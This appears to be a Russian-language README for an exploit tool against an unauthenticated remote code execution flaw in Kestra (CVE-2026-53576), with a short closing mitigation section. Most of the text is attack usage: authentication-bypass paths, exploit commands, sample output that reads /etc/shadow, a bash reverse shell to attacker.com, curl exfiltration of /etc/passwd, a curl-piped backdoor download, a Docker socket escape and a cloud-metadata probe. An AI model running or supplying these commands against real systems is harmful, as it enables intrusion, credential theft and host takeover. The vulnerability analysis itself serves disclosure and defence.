
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
Критический обход аутентификации, ведущий к неавторизованному удалённому выполнению кода
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.
- НЕ ИСПОЛЬЗУЙТЕ его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
- НЕ ИСПОЛЬЗУЙТЕ его для незаконной деятельности.
- Автор НЕ несёт ответственности за любое неправомерное использование этого инструмента.
- Используйте на СВОЙ СТРАХ И РИСК.
CVE-2026-53576 — критическая уязвимость в Kestra OSS версиях до v1.3.20, которая позволяет неавторизованное удалённое выполнение кода через обход фильтра аутентификации.
| Параметр | Значение |
|---|---|
| Идентификатор CVE | CVE-2026-53576 |
| Критичность | Критическая (9.8 CVSS) |
| Тип уязвимости | Обход аутентификации + RCE |
| Затронутый продукт | Kestra OSS |
| Затронутые версии | ≤ v1.3.20 |
| Вектор атаки | Сеть |
| Требуется аутентификация | Нет |
| Взаимодействие с пользователем | Нет |
Фильтр аутентификации в Kestra содержит критический логический изъян:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Этот код проверяет, заканчивается ли любой API-запрос на /configs, вместо сопоставления с точным маршрутом. Это позволяет злоумышленникам обойти аутентификацию, добавляя /configs к любому эндпоинту.
POST /api/v1/main/flows/configs (обходит аутентификацию)POST /api/v1/main/executions/configs/configs (обходит аутентификацию)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| Опция | Описание |
|---|---|
target | IP-адрес или имя хоста цели (обязательно) |
-p, --port | Порт (по умолчанию: 8080) |
--https | Использовать HTTPS вместо HTTP |
-c, --command | Пользовательская команда для выполнения |
--docker-check | Проверить доступ к Docker socket |
--cleanup | Удалить flow после эксплуатации |
--delay | Задержка между запросами (по умолчанию: 2 с) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Вывод:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| Категория | Критичность | Описание |
|---|---|---|
| Конфиденциальность | ⚠️ Критическая | Чтение любых файлов (пароли, секреты, конфигурации) |
| Целостность | ⚠️ Критическая | Создание/изменение/удаление flows и данных |
| Доступность | ⚠️ Высокая | Остановка системы, истощение ресурсов |
| Аутентификация | ⚠️ Критическая | Полный обход Basic-Auth |
| Повышение привилегий | ⚠️ Критическая | Команды выполняются от имени root (uid=0) |
| Побег из контейнера | ⚠️ Критическая | Компрометация хоста через Docker socket |
Неавторизованный злоумышленник может:
Выполнять произвольные команды от имени root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Перейти на хост-систему (если смонтирован Docker socket):
docker run -v /:/host --privileged alpine chroot /host
Получить доступ к метаданным облака (при размещении у облачного провайдера):
curl http://169.254.169.254/latest/meta-data/
Остановите уязвимые экземпляры:
sudo systemctl stop kestra
Заблокируйте публичный доступ:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Примените правила межсетевого экрана: